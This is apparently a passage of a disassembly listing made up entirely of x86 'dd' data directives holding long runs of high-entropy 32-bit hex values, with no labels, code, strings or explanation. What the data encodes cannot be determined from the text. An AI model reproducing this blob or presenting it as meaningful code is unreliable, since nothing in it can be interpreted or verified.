		dd 0F15A81BCh, 1A142B77h, 0FAE9F1E2h, 0F49857BAh, 67BE0A7Fh
		dd 9EC5BD13h, 900533A9h, 0BE38D13Ah, 25074F10h,	4F2B505Eh
		dd 5319D289h, 4FBD8FA0h, 183FD558h, 0CA9227E9h,	4C458EB8h
		dd 8108DAh, 82F6ABF3h, 1BCF2D66h, 0E9095C09h, 9529582Fh
		dd 0E9E1F759h, 3167D4DEh, 2BD2992Dh, 67CFF606h,	480C2505h
		dd 45124D17h, 518B831h,	0D15A36C7h, 5D42CE1Eh, 603DBB30h
		dd 262CD9FDh, 13A4181Fh, 5238815Fh, 405A02E1h, 9F5B1A7Eh
		dd 0F5505D27h, 8680D16Ch, 0E4B0E0C2h, 58002075h, 30D7F280h
		dd 3C515AD0h, 0F19DE9B1h, 1F7B09C5h, 8449E812h,	57B9543Bh
		dd 4C39F9B3h, 8CB68592h, 0BD30BDF5h, 0F480808Fh, 38AD3B5Ch
		dd 0AFE32EDDh, 0D958AF3Ah, 0A143B761h, 7E1C0A68h, 0CF00B364h
		dd 63644311h, 0B7E654E9h, 5D169F52h, 0E5301309h, 5AC10B0Dh
		dd 0B05F0A18h, 17D507FAh, 9290E984h, 6EF9A598h,	0C8B6625Fh
		dd 59F251E6h, 4ECC849Fh, 0FF77C4AEh, 7CA49F00h,	9DF1292Fh
		dd 0A3E94198h, 0F709A0BCh, 176072D5h, 122820Bh,	3EE9EE99h
		dd 3CC104E5h, 5303C268h, 5A79E807h, 0F8C27064h,	3B36621h
		dd 23CDB951h, 3DF273F5h, 0D3BDC3AEh, 495F457Eh,	0D44AE362h
		dd 1BF28601h, 0EE292912h, 0DDC908DAh, 0F349C82Fh, 0B9381275h
		dd 0C8680F14h, 0AA0BA004h, 0C1356EC0h, 4F902522h, 560878FEh
		dd 0F22940BEh, 95A2E9h,	45F705DEh, 5E7600ECh, 84685655h
		dd 14099069h, 0FC1097E9h, 1149EED1h, 0AC094C69h, 4400FDD5h
		dd 29399A12h, 4FBCFAFEh, 89A6BD34h, 0A8AED454h,	77852079h
		dd 10F81ED3h, 6F30D3F1h, 3B6A3227h, 277DCE08h, 1444504Eh
		dd 5221CBBEh, 0F0DC729h, 6FA22F0Bh, 7201F2C7h, 0DD80271Dh
		dd 0AAFAE052h, 649FEDB0h, 0D494255Fh, 0C70024EEh, 28587501h
		dd 9ADAE930h, 18BE07A8h, 0AF0CD135h, 0DA185F72h, 225F9375h
		dd 910437h, 811ED8B9h, 714E497Ah, 1EC91513h, 0E6BC0F60h
		dd 0E92F0C8Ah, 0F685D519h, 0A54D163Dh, 6030606Dh, 152138Ch
		dd 8A110F5h, 62E95E0Bh,	94AE2429h, 9349F86Fh, 2AB89FE1h
		dd 7C2905E4h, 0E44630C3h, 0A35B8FC3h, 546A576Eh, 633E2DC5h
		dd 0AEC1C704h, 0B03BC95Ch, 2E402411h, 1352585Dh, 4820AF27h
		dd 435B2A6Bh, 83F18103h, 4768B6Eh, 0AC39300Ch, 0BB728204h
		dd 1AC0E3ABh, 0C79FF936h, 0B1202D1Ah, 0FAB2A2B0h, 8AC22824h
		dd 758DFC42h, 5C4C5EEEh, 0E8884FC7h, 24EA6698h,	0EB46A59h
		dd 0EAB2828Ah, 0C5A23F53h, 0E91E3D82h, 14FF0851h, 17564A7Dh
		dd 0F769723Fh, 804E40C3h, 7EBCBF34h, 599F4D8h, 276DC69Dh
		dd 20C7A0FAh, 502D3Fh, 4744BF9Eh, 2254CFCh, 6BD47E2Ch
		dd 0A8DCBD3Ah, 380BBF20h, 8037A67Fh, 0C98103DEh, 53341D14h
		dd 0A181BC54h, 0D1139028h, 92D82BE9h, 5CEE4052h, 0BB71DFAh
		dd 968E7B9Fh, 0F5EADC2Ch, 0CA2FF841h, 0BC904B0Ah, 5A956188h
		dd 0E904906Fh, 16929F9Bh, 8EEF8B80h, 21CDC6A8h,	16805A13h
		dd 66ABF801h, 926906E0h, 17943D73h, 12F11C28h, 0C0C426E4h
		dd 0F87901B5h, 0DF5C87F8h, 0F63920E8h, 86D997C8h, 3915D469h
		dd 0B3572AEh, 40816A31h, 92519468h, 89C043D5h, 0B12F135h
		dd 0C62917B9h, 0A93B3985h, 0B5E410C9h, 3EF6839h, 0A3CB896Bh
		dd 630DE4D9h, 0E62F7D0Ch, 3F21251h, 12A628FFh, 0EE2C0843h
		dd 40EA1065h, 6643C716h, 2EB76375h, 0B52D610Ah,	6A70B332h
		dd 0B5C39713h, 5698EC4Fh, 0B0C99E1Ah, 0BB97D6Ah, 0F3B4A95h
		dd 6011A908h, 0FAFA871Ah, 4F2B09EAh, 91064D5Bh,	28219FE8h
		dd 15BD8103h, 4116CD18h, 0E975F5D8h, 0F1A8DB4Ch, 5E4AED7Dh
		dd 0CAB927C2h, 0AC3E7D9Eh, 4A344922h, 8FE8D01Ch, 4125B118h
		dd 17A52258h, 982794C8h, 725807C6h, 0D0451D7Ch,	353354E5h
		dd 0EDC1480Ch, 3501203h, 0E9273258h, 0D513E0C7h, 3DE96CDBh
		dd 1A404A98h, 0C12E60E8h, 350944E5h, 0BD1394E1h, 5FE90DB8h
		dd 962DF097h, 9F05CB02h, 0E99ED8A4h, 0E597D574h, 86460A5Ah
		dd 796BCF33h, 5B5BD578h, 80E3EFA0h, 5517AA2Dh, 0D7CC5A52h
		dd 5D83901h, 17A5239Dh,	0C0F7BD55h, 3934B850h, 40522FEBh
		dd 18303159h, 0DF30F6h,	6973352Fh, 0D2D55E6h, 42385212h
		dd 0EA50FDECh, 0E02116A7h, 6F60177h, 617C57F5h,	47343003h
		dd 79D26B9Ah, 0E982E5F6h, 0AEDFECD0h, 5C64EC44h, 0B0E8B80Fh
		dd 9BC4B7A4h, 0AC6D8509h, 2C49001Fh, 179693E6h,	0E25AD089h
		dd 0CFF8447h, 179C144h,	0BB53FD01h, 2A17A53Bh, 29E99A02h
		dd 0B168E437h, 0D9C54BBDh, 34ED24BBh, 4140D469h, 812C27E9h
		dd 9EAFC123h, 40ED92A9h, 6812046Ah, 2A44FE79h, 0B1047A4Bh
		dd 4081E213h, 0B70053FFh, 5BF88834h, 4BE9C128h,	0CE0C5F9h
		dd 405CD1A1h, 2722590Ch, 7B4B0E5Ah, 98535409h, 6725513Eh
		dd 7942EA01h, 538B2322h, 7FF2CEF6h, 0D19DB84Ch,	1C460CAFh
		dd 194485CBh, 6FC0410Ah, 9D818DD8h, 0E269CC0Ah,	0EDD42D40h
		dd 0CABB5344h, 2783227Ch, 8780F1E9h, 484FE0BFh,	0D64E4A7Ah
		dd 0D9BC1AC5h, 0DC69138Fh, 283EA470h, 1C14D8F5h, 0C5CF0DEDh
		dd 59E84151h, 0C8C1FA2Ch, 8F951D6Eh, 0ECF7DBE9h, 8B56DE05h
		dd 0F904FFC1h, 0A9FCC330h, 0E52F319Ch, 926760F4h, 4E5491B5h
		dd 0BD890F7Ah, 295E4762h, 70CB2B60h, 0DA0B55Bh,	0AF282757h
		dd 0CA096558h, 7875C15Eh, 0F5B9278Eh, 7682B3F9h, 0E0741F7Ah
		dd 2D3D39A7h, 0A9400C2Ah, 47FE1BE4h, 2840ACB8h,	202209BFh
		dd 5356FA71h, 176D6A30h, 29511AAEh, 8006EDDh, 57B02D5Bh
		dd 0E8FCFA74h, 0FE6AE925h, 0B1F745E4h, 5CDB1294h, 4820356Eh
		dd 4F6B98E5h, 1D865F65h, 2BEF89BDh, 66531380h, 1E98112Fh
		dd 0C42D49BEh, 9D80F4B1h, 82F707A5h, 0A2C1FDA9h, 44C7AD02h
		dd 5DF87C63h, 661FBDAEh, 0E61A7C8Fh, 0E55D1077h, 55173F9Bh
		dd 2546B3B6h, 55DC109h,	2CAF7644h, 0F69FF8Fh, 9CE6D471h
		dd 3121296h, 0D7E956A4h, 0D74CAAECh, 9057FA7h, 0DFFEFA0Ah
		dd 26209963h, 0BB32C42Bh, 8477ECD1h, 0BA123490h, 8401AD53h
		dd 0F670C95h, 0BD386770h, 3D24633h, 0BB004250h,	2563619Ah
		dd 3EDDEB81h, 68D8CD56h, 9D7A724h, 0CE78294Bh, 7FB963C1h
		dd 46605028h, 8C1F5A47h, 4218EF8Eh, 44AC6A17h, 0C2F833Ch
		dd 0BE1B80ACh, 4E904DB7h, 8870649h, 29E09168h, 0F65E7B5h
		dd 0EE00E6D1h, 0A101D85h, 820BF798h, 0D480CEE4h, 0E95302A7h
		dd 80A623EEh, 0E01322DEh, 0AEA06960h, 0E3420B4Ch, 0E228918h
		dd 82091131h, 53B00862h, 4F589F5Fh, 95D55E68h, 0E810A113h
		dd 0E3129E78h, 58552BC1h, 13D6B72Bh, 44A911D6h,	0EA5DEEC5h
		dd 0D45E7222h, 0C42B8B70h, 66168E64h, 0C8ACAF0Fh, 76A484h
		dd 5A10F381h, 13F764Fh
		dd 793011CBh, 3552E90Ch, 968ED5CEh, 0CFA85C2Dh,	59474F81h
		dd 0F026F5Eh, 0FC906ECFh, 0DA8000F5h, 0FD890CC8h, 6F2409FEh
		dd 3511B31Ch, 11F0EE00h, 0F331015Dh, 0D925FD98h, 53F8745Bh
		dd 8964B926h, 4B699B28h, 20F35A87h, 57028C68h, 0F23BD3BFh
		dd 0D9B84842h, 0CFDBBE98h, 41C0C549h, 4F1360B8h, 1F03071Dh
		dd 0FA500511h, 4FBD709Ah, 884F2C5Ch, 0E726D472h, 0E40A2D58h
		dd 4B69AC9Eh, 4EDCA25h,	202B066h, 1332B83Eh, 15E585E1h
		dd 5F29EE8Bh, 89BD9C72h, 0F80A509Ch, 4086A2F5h,	978BBCA1h
		dd 0E7206BD3h, 97A7AE5Fh, 52240B5Fh, 0E9612156h, 0D929157Dh
		dd 507C8710h, 20A37592h, 682320DDh, 0D941998h, 0BCA096C9h
		dd 0CFE94369h, 0DB06A88Ch, 74AB8429h, 2B52BE75h, 32C14B10h
		dd 27668DDBh, 365FB981h, 4A72FE44h, 0AF1F7426h,	0E0D3B230h
		dd 6BCA2A68h, 0B1B39660h, 2D17F96Ah, 92417B3Eh,	0D60FE33Eh
		dd 17150763h, 0B6EA83A3h, 9B4F7EE8h, 0FC8B6E12h, 11631F04h
		dd 5574BB71h, 3BE90C02h, 0B279EBFDh, 2B165C0Bh,	0E884C9E7h
		dd 0F01F13CBh, 18EB6CEh, 2AB55BFEh, 25E9F5C0h, 0F3AE373Fh
		dd 0E9E067E6h, 0F6DAB103h, 90C1FED1h, 5CF180C9h, 881F1533h
		dd 1EDF5DCFh, 0C05B02F9h, 854003E1h, 7BBE282Eh,	7811DFE9h
		dd 891F8BE5h, 0EF0B05E1h, 4A7C2CD2h, 79C6046h, 1E47070Dh
		dd 84F2FD05h, 2A61A1E1h, 0E917C0F3h, 0BB37406Ch, 2C760ABDh
		dd 194BD5F4h, 0AE1689E3h, 12D5B6AFh, 0A9F47BECh, 0AD58074Ah
		dd 8FD9F727h, 6686CAC0h, 0A39721C3h, 0B4310809h, 0B15BA1DCh
		dd 23ED01F7h, 0EF99E60Ah, 2BA5F19Dh, 4D7E338Ah,	0FE195DE0h
		dd 3DF294C0h, 0E07F3C19h, 397DC38Fh, 43405C13h,	5EE48F25h
		dd 514D397h, 90F6E95Bh,	77C8BD97h, 8F01DD25h, 41C0ABDCh
		dd 687F05A0h, 3430E9EAh, 23F7C329h, 0BC287B48h,	1FA22710h
		dd 10583CD2h, 0C73B120h, 0B402F92Dh, 89B77166h,	0BF9E667Ch
		dd 29269294h, 0F70950C3h, 7240FCEAh, 0C28E175h,	3B737C11h
		dd 0B52CA9Ch, 0AC7543BAh, 28AD007Fh, 0C120D038h, 2F14860Ch
		dd 7C192044h, 4F9B0901h, 0CE56DC35h, 415E3F60h,	7A932FAAh
		dd 0CB39D1FAh, 0E76DCD6Eh, 0B696C6BAh, 804D9FF8h, 99303301h
		dd 57D8825Ah, 98F19D1Bh, 0E53F8E78h, 590DA968h,	25AA80C0h
		dd 0F1812ADCh, 0CB2C6EE6h, 8337366Bh, 4ACAC83Bh, 0F089ACCh
		dd 4E75BE66h, 5E741A45h, 0FE1E0C5Fh, 0C2728810h, 0CC3D99Fh
		dd 0E2751263h, 53555700h, 61725FBBh, 71C7B032h,	65821623h
		dd 0F9D4004Bh, 8940CF36h, 293713B0h, 4FAE557Ch,	0DF123CFCh
		dd 295914E3h, 81005448h, 554A501Bh, 4E12E4BDh, 0C5FC7993h
		dd 3533E503h, 1058565Bh, 43392576h, 35BAD578h, 851982CCh
		dd 1E0FEB20h, 0C1504BB2h, 47705B3h, 0CFAE0294h,	61304BBAh
		dd 0C9CD1DE9h, 12552834h, 0DC654217h, 1EB847Ah,	0F7699153h
		dd 4D0BA6D1h, 3DED7B82h, 317372BBh, 0C69BD267h,	64AFDDA5h
		dd 0CB60A0AEh, 72B7C219h, 59087BAEh, 112A549h, 61F838C6h
		dd 2E8C365Eh, 4D4E14DCh, 0E059E0Ah, 0C2318E06h,	2900D43Fh
		dd 0BF2159CDh, 11FDFE29h, 0B46A5B31h, 0F35E7B24h, 4CE41440h
		dd 608312A7h, 98E19AE9h, 0A4FE86Eh, 0A437FC48h,	0D8EB0199h
		dd 2F317C7Dh, 6813C51Ch, 9A44C234h, 32A7FEDEh, 0E909C357h
		dd 0DFC80FE8h, 0CB167299h, 740B493Ah, 0B098C4F8h, 0E8214F33h
		dd 4D0C9E91h, 4FD8E787h, 4DF7AD2Dh, 9D6882C1h, 799C4603h
		dd 73F10257h, 13E90B02h, 0E60AA075h, 0BCE8106h,	436F7F5Dh
		dd 8B5525Ch, 25805AF0h,	61893490h, 76278A4Ch, 0A15044F9h
		dd 4522939Bh, 0FC3C3A05h, 9EC90876h, 0E601D22Eh, 2F0548D6h
		dd 2D90F6D8h, 3B709237h, 7002EA04h, 0FAFC4D6Fh,	77C4309h
		dd 75BAF9D4h, 0A5C167ABh, 43329FBh, 40DD4937h, 3F6D7180h
		dd 0AF7148EBh, 2769BB06h, 0B0C6A51h, 0EC16E165h, 60537693h
		dd 45438E1Ch, 0A481685Fh, 24285060h, 0BE3CD1E9h, 568983CFh
		dd 0B57841D2h, 0F3295D2Dh, 0F7878D4Fh, 80CBC08Eh, 590DEB12h
		dd 0E2505CB4h, 0FE9316B4h, 814308CCh, 51F0C119h, 0C0F056E4h
		dd 491DBF12h, 99F445E2h, 6BA3284Eh, 92705C78h, 918CB2A7h
		dd 32A1BB5Dh, 5E659052h, 6143ED0h, 5B24FB1h, 48CA9E4Ah
		dd 0D8C290ABh, 7A9794E9h, 8E8B5E74h, 80044A4Eh,	3500ADDEh
		dd 0D96EA96Fh, 9AA0295Ah, 677007CDh, 74457BDFh,	0FCFD81EDh
		dd 26349378h, 0E58F7091h, 0D4E3AF81h, 3042907Ah, 4602FC1Bh
		dd 28E90620h, 11E4D5A2h, 2D9CC0B7h, 3E65247Dh, 0C4381725h
		dd 0D3D9BEF3h, 8F520AF1h, 6716DD31h, 68E8D1A4h,	0F105AF2Dh
		dd 0C2BD1202h, 886D59F1h, 3A22CC8Ah, 0E24E5991h, 9568C281h
		dd 0DA18FD19h, 6C9F0813h, 7AD284C9h, 1DF87C50h,	835358C1h
		dd 0B3ACE9CBh, 0E6B9C601h, 41648308h, 2839D560h, 5980B61Fh
		dd 0E25A851Dh, 0CBA88CADh, 4AEF7721h, 0AC8500D6h, 0B652D204h
		dd 0DEF67007h, 639EE6C0h, 998603EEh, 89FCDFEh, 0FB09D380h
		dd 0E9F0DF01h, 843D9817h, 1C8988D0h, 0D4B8EAC1h, 5148F825h
		dd 26D41232h, 0DB200EAEh, 0FB15E184h, 1F14B28h,	48E3291Dh
		dd 3959CE89h, 445805DAh, 88AFAD70h, 0D04B6807h,	2B6BE5A1h
		dd 0FB814F60h, 0A73ACA10h, 1AF1039h, 6E186809h,	0E62D0AD3h
		dd 37FF8090h, 27F32818h, 4277419Fh, 60C46E5Fh, 0A27F5716h
		dd 0D3DF3740h, 76E9BB14h, 8833B5A7h, 2A08A6D1h,	8302D38Eh
		dd 0B6E902EEh, 8259F949h, 0EB18924Eh, 0DC6B5D44h, 99F5B4F2h
		dd 0F66EE10Bh, 0CD7E187Ch, 1F42EF97h, 94069095h, 9827C0FEh
		dd 0BA7F089Ah, 0D290558Bh, 99BD3DE9h, 7128ACFCh, 0C391E34Fh
		dd 4CA742E9h, 0B64FEEEBh, 0C80F098Eh, 646FD951h, 2D04A140h
		dd 674B9620h, 0CF8CFEAAh, 0CD1F7244h, 82D87F7Bh, 0CB1461C9h
		dd 3F295BDFh, 17665E41h, 503F7A23h, 5A240858h, 6253CD13h
		dd 0E8E61005h, 3E7C680Ch, 0A864737Dh, 0D5EA2D14h, 0EA0B849Bh
		dd 1700AE95h, 33BD1A25h, 0F72E2FE9h, 0E49FCC44h, 6DC62C1Ch
		dd 1FED4875h, 99FA82D3h, 0B760EE29h, 202CE9F5h,	249BD72h
		dd 382975Eh, 34045854h,	7E9E380Dh, 0F51B46FFh, 7598130Ah
		dd 0A8310909h, 0F54D023h, 0C3ADEE7h, 0E60707D3h, 873C8452h
		dd 0D025F886h, 0BB840FF9h, 2D85250Fh, 34BA41B8h, 7E36DE56h
		dd 0CF2368D1h, 6097D33Ah, 0C31F12C4h, 2D407A53h, 0E8289804h
		dd 8ED9E92Ch, 6325E7F5h, 12D3A62Fh, 8AF4CDADh, 0A83CF02Ch
		dd 0B2F2218Ah, 14C7C48h, 0DA313323h, 42BF1EE9h,	45753C18h
		dd 0DFE98983h, 0B58D947Dh, 832B08F0h, 7DA9F2EDh, 21020111h
		dd 99E2E9E8h, 97486E77h, 705CC2AAh, 0B291C8D6h,	0BF2CC300h
		dd 95F72978h, 279F29D0h, 6973CA50h, 8A0E250Eh, 884FDD70h
		dd 0C658390Fh, 9F466CBEh, 4FBB1067h, 0ACA56271h, 66EB0207h
		dd 2030571h, 87B7C380h,	11B25230h, 0F6CA1886h, 0B15108D9h
		dd 0C1808102h, 70A4E949h, 1B596A5h, 0A9466D2Dh,	7A9AF45Fh
		dd 704A10B4h, 8A455602h, 0ADE15511h, 1B762949h,	0AA2BF3EAh
		dd 0D8EB845Dh, 0EC7C580Bh, 0F66E2B59h, 27E2D143h, 0DA757C4Ch
		dd 0EB01DA73h, 1AC71CC8h, 0A8A20A61h, 59CB2E08h, 7E440827h
		dd 0AD800917h, 283C85E7h, 7CDA221Fh, 0FBFC06C7h, 5719B3E9h
		dd 1CABEA5Ch, 0BEA8485Eh, 7AEC024Fh, 8906A526h,	0C5F42F6Dh
		dd 0E9080CD1h, 38DA5Dh,	6932E5BBh, 17F38149h, 0F8601A0Ah
		dd 29E90904h, 616F7478h
		dd 2E531768h, 2780C366h, 0D014C1DFh, 0B59B4E97h, 82802712h
		dd 4DC976B9h, 42F84F60h, 2F17937Eh, 0A5C0C783h,	39282904h
		dd 8C0FB15Ch, 360AFB23h, 8059EB1h, 9A3D0804h, 4F2FA312h
		dd 0E9A050BCh, 0F1C1F553h, 6F4F2BAEh, 0BD049120h, 0D50433C6h
		dd 31C0C4AAh, 2BE6C2FBh, 8E3C101h, 5228883h, 0F9F13842h
		dd 3B676FCBh, 0FEE67BA2h, 597E6980h, 62B56858h,	0B6983127h
		dd 76B2AB09h, 0D4CF3A9h, 0A68120E7h, 596C40D5h,	7CF862Dh
		dd 0F361CBBFh, 8A6D6F6h, 90201660h, 0C7B2314Bh,	3301148h
		dd 17020926h, 74EFB729h, 0CF965008h, 5E044ABEh,	1CA6C889h
		dd 8C472918h, 8080EA8Dh, 3DC973EDh, 64A679CDh, 0F3509418h
		dd 0C87D6D00h, 8A20B840h, 2350B2Fh, 5430B3A3h, 0D7698807h
		dd 9036805h, 0ACD98E44h, 12201588h, 23D130Bh, 9931BE0Bh
		dd 351A71E1h, 0CA7D2ABAh, 6F94F16Eh, 3DAF31D0h,	53E76C7h
		dd 0CB0668CDh, 0ABC1800Ch, 394C0403h, 902A128Eh, 639326CDh
		dd 0CE120955h, 5F9157D9h, 255D2D7Dh, 0D4511DFEh, 0AC49133Ah
		dd 0C968F010h, 2AC6BF7Dh, 9340E298h, 243577B6h,	69DE2014h
		dd 8A17BAC3h, 14DC749Fh, 3D0150B9h, 8892419Fh, 5E0812Ch
		dd 0A34DB968h, 160B0143h, 84E90E94h, 98475DEAh,	0B8A9462Dh
		dd 0B491590Eh, 27689350h, 69990B7Dh, 52CF7F2Ch,	4297B802h
		dd 64604EDEh, 6250229h,	8272D26Eh, 0F33E1308h, 1C2C40FAh
		dd 0FF4859E9h, 0BA524D0Eh, 739F22E3h, 0EE68BBE2h, 7B1DEF80h
		dd 0F74BC7FEh, 0B2F104D0h, 7FA90F4h, 68010374h,	1E46495Ch
		dd 1CD76722h, 16820DC3h, 14858180h, 0B12A8013h,	66CC30E5h
		dd 96DA9559h, 0E6CFF727h, 7FE05C09h, 0C7100504h, 0E1328107h
		dd 681EE511h, 8FED0288h, 0E02A3E77h, 1376888Ah,	0C701B5C2h
		dd 32E2D90Fh, 6F57E562h, 0F75C1386h, 49D84FF3h,	875E2DF0h
		dd 0AEC0A37Ch, 9F4ED42Dh, 0BE0A53D0h, 0A3773E27h, 7D332901h
		dd 41B8E90Fh, 5AD3090Bh, 0CDD99443h, 527350B9h,	6A1F3D68h
		dd 3B89436Bh, 0E98D5EDCh, 0D7494F71h, 582C781Ch, 0EA091F53h
		dd 4E01E8D1h, 808A04A0h, 9809C368h, 1113C52Ch, 4E1778C2h
		dd 0F3290D80h, 0B4055A5Eh, 0A9002D85h, 10DE44Dh, 582C68D8h
		dd 84D8D744h, 0A3245FACh, 5105F95Bh, 0C2AED367h, 209CB33h
		dd 82FB8916h, 9C0A706h,	553170DEh, 1C261BC9h, 25C58718h
		dd 16F05AD1h, 6C4096AAh, 0C883966Ah, 1C1471ADh,	0C5E18173h
		dd 241F64Bh, 7E77A3EBh,	6803C989h, 9013F259h, 0F4416C3h
		dd 0D31F1309h, 0D13FE094h, 0F254D89Dh, 5B48BFC5h, 21856C9h
		dd 914848C4h, 0E5C32FA0h, 5D2D5EE0h, 16403600h,	4925A605h
		dd 0A550970Dh, 1D01E918h, 97405969h, 8F0EBD46h,	2257D478h
		dd 570296E9h, 6C479A0h,	84B76B45h, 32E0B1F4h, 7AAD2768h
		dd 5EE5E351h, 0B23A39C8h, 7091BE5Eh, 0A40EC380h, 0C2BFB652h
		dd 0E2E916C6h, 16205747h, 0E32EFD63h, 2AB0295Eh, 807552E2h
		dd 2F1FAF07h, 0D7F16010h, 3B256F51h, 0B597A21h,	16532C91h
		dd 508815FCh, 0EB1E30EDh, 3B4E669Ah, 137D6CFCh,	0CC54CE68h
		dd 34129D78h, 43A85553h, 5800FA6Bh, 6EF31E22h, 162476Bh
		dd 893B5A66h, 252262A4h, 84446F7Ch, 0B1001AACh,	0BDF180B4h
		dd 75F8D1F6h, 0DA9E0ABh, 0D423F67h, 54524426h, 440F4552h
		dd 0D84312D1h, 441234DDh, 23012DE6h, 0D219BBD0h, 0A34E2C28h
		dd 33E9150Ah, 116C4CA1h, 68829FACh, 0BAD752DCh,	0E0E374FEh
		dd 0B87A18BDh, 99B6248h, 82B93E73h, 92AEB257h, 0FDBBE827h
		dd 4B0EB6B8h, 0F201F556h, 50631E40h, 0EDA5A600h, 9EE9BC13h
		dd 5074EC8h, 31EC6BABh,	0E92CBBF7h, 6E1F412Ah, 714C49E7h
		dd 0A7E18F24h, 0A06B33D1h, 0B8505754h, 3C593F32h, 1960BF82h
		dd 0E0DF3B58h, 0BDBE704Eh, 32EEF698h, 565079CFh, 0F64AC8A2h
		dd 494425DAh, 0F585BD09h, 0F4508EDh, 0DD2A3F95h, 0A32B09F0h
		dd 0C351F874h, 701AEB02h, 0D0E42D8Dh, 38775C3Ah, 0C1D9C22Fh
		dd 4668D225h, 0B2198930h, 0E99C76EFh, 0E91876C6h, 5816067Dh
		dd 0B72AA455h, 0CA0BA659h, 0BD1DA0B7h, 5BBF4484h, 0C1E9C463h
		dd 6F6D6E87h, 0B50541CCh, 26B75F9h, 1E66764h, 30FB0158h
		dd 664082F4h, 2C62683h,	85201391h, 0AED5D869h, 94B00B95h
		dd 535FFC89h, 2F78D4C9h, 8DD31929h, 95B5D025h, 0C3F16E12h
		dd 7708FA62h, 3F534C99h, 9D35BB6h, 0F4A9C606h, 6020C2CCh
		dd 4F2931D4h, 2C12C10h,	507A5656h, 0F94A8951h, 5F0526ACh
		dd 0F9E9315Eh, 0ECD21718h, 5416B6E3h, 78C4E2EAh, 5ED6B02Dh
		dd 0E439C22Bh, 6841C47Ch, 0E1362317h, 6272CB05h, 36A20012h
		dd 53ED9D8Dh, 0AD925678h, 9CC40D2Eh, 51EA7509h,	0B3C5CFAFh
		dd 0F7C44071h, 4EE736B5h, 55750CBh, 4EE84D24h, 5B060510h
		dd 0B4587DE9h, 8C60580Fh, 984F01B3h, 3B1F9B49h,	0E0C9732h
		dd 5F6DFF76h, 0AB8DDA6Ch, 0D51E6F63h, 4E7CDD0Bh, 5DD0B5F4h
		dd 0B966FD08h, 0F9EE0D3Ch, 8E417B0Fh, 6E176AD3h, 82916320h
		dd 0DFD67BA9h, 81DBC050h, 44D74509h, 9B137Dh, 3202FBBEh
		dd 0F49AA374h, 1E680387h, 7F967B59h, 1055BD2Ah,	0FC5ADFC2h
		dd 6416C4FCh, 0C47A816h, 0D605546Ah, 3DEB5C6Fh,	0FD28569Dh
		dd 0E28101EBh, 74DA0383h, 0B479F30h, 296DBC06h,	8D59D284h
		dd 0BE8D5552h, 0E2A4242h, 0F641C3D4h, 0E8B94B93h, 3C5852Fh
		dd 4A81C7D8h, 4F63B344h, 0B69236A2h, 3B4724D2h,	0F430660Bh
		dd 38767221h, 0EF75C58Dh, 6BF7BAD7h, 6393E15Ch,	0CF4E8C3Fh
		dd 5147210Eh, 17CC5F5Dh, 58D91FE2h, 21B2075Bh, 4D964A72h
		dd 0A1B05FCBh, 2B5E8468h, 0EEF43B31h, 63C7D207h, 10F27C6Ch
		dd 0BF600996h, 4A741D64h, 0E941E036h, 0EEEED49h, 6F5DEE31h
		dd 217C44F3h, 0B7EF8000h, 5B1FFA20h, 0D649CAFEh, 44E59BAh
		dd 0A37E1368h, 6D9B131Ch, 404C258Bh, 72FE9D8Bh,	4055CF6Eh
		dd 20E00370h, 0FA9BE5Dh, 1727E5Ch, 0D9E94212h, 0BA403E74h
		dd 34566A57h, 4BDE7D29h, 29C7E171h, 0F1547909h,	0EBFF83BFh
		dd 18770CE2h, 3F4477AFh, 0A1104771h, 9F593226h,	48BF45Ch
		dd 0EF107968h, 0EE13418Eh, 8A9092Bh, 75941680h,	1762DD7h
		dd 0B081CD0h, 0DE1DE3E9h, 0D589E220h, 51257761h, 251C6FF3h
		dd 0E20B4142h, 0EAE38094h, 5E13CDD1h, 7F5AEA21h, 0B1F4A49h
		dd 26FAB8B7h, 5802D099h, 0D4C8E959h, 138812AAh,	8416A99Ch
		dd 7FE3B998h, 59F290h, 0B82D5B01h, 604FBF42h, 7A00532h
		dd 134BB6E9h, 57DEB0FCh, 0E8EF5644h, 38EA9614h,	3119F606h
		dd 96A25AC6h, 0B8BFF14h, 0BB02534Dh, 1FA078AFh,	70F42C93h
		dd 9685351h, 17927B6Ah,	440F6B78h, 0B957AFA7h, 0DF54C96Ah
		dd 0B662AB05h, 0CB4CA8B2h, 0CDFAB812h, 30616BEAh, 0F7011F40h
		dd 0CDE22FD8h, 0B9850538h, 0AFCCC514h, 0E1810B00h, 0BB04CDFh
		dd 737D680Bh, 0C7602B22h, 9493754h, 0B8DDA588h,	0D3A52E5h
		dd 2FB85EE9h, 0B1E96BD0h, 82F4B466h, 37F10C2Bh,	5C7005DDh
		dd 56315CA8h, 0E8C22936h, 0C3BE21A5h, 9F4FF849h, 61564E82h
		dd 2933C02Eh, 9D492DCDh, 6E0CCAF2h, 1E6B8F18h, 0C96D129Dh
		dd 8EAC8568h, 0F8E310D6h, 61DD6809h, 19B9D830h,	55BF0E00h
		dd 40F1EBBAh, 7F7095AAh, 0F3881596h, 9C5B17A2h,	44282F22h
		dd 0B902CFFDh, 204063FBh, 40375629h, 431FCAEEh,	2B3A82E5h
		dd 74617435h, 65960897h, 0C4D9290Ch, 17337A2Eh,	0B5215B3Dh
		dd 97C7EC69h, 0F880F2BAh
		dd 2C80E0D9h, 0BC6AFC8Eh, 5B801F9Bh, 242A0602h,	8F959B47h
		dd 8B17E48Eh, 8581C0AEh, 1D4D23B1h, 0C8892D8Ch,	1E184012h
		dd 4047680Dh, 25BD55DFh, 175F7822h, 4B858FE1h, 0EB0540C4h
		dd 5D91E301h, 0C80061Fh, 2C6E2995h, 0F05AF5E9h,	0D160A275h
		dd 0B0026866h, 702A30BDh, 123CEB2Bh, 3BC0795Ah,	4C94460Eh
		dd 89098D44h, 7C02C902h, 68019D35h, 9E733DD6h, 0ACEBCD40h
		dd 41129039h, 0E3A5CE89h, 0C87EC2D7h, 97914FFh,	13B40770h
		dd 0E4489104h, 140C0B7h, 88521353h, 13445FEAh, 0CF33D2C6h
		dd 9F0FDC2h, 0E28851B5h, 487632E9h, 80E72800h, 5E5848C7h
		dd 0DA93E0C0h, 0F3BD52BAh, 0E43717CDh, 0CB0AF75Dh, 0D1514130h
		dd 694F280Eh, 26A55CFEh, 0FDD23D8Fh, 5513AE3Ch,	0F718989Bh
		dd 81043D44h, 0FF2061E0h, 92EE371Eh, 5718AA0Bh,	626DEB10h
		dd 7FA84B2h, 8404D09Ch,	85A01710h, 42F54C31h, 5725BE4Dh
		dd 66765000h, 59683F35h, 0E9050732h, 0DA41CBD2h, 118239A7h
		dd 1020E63Eh, 0AC017245h, 0B2525166h, 61A47B09h, 0E2C75B7Fh
		dd 112084D5h, 25785DF2h, 0A1AB9AD1h, 0F5532B5Dh, 0B01596A4h
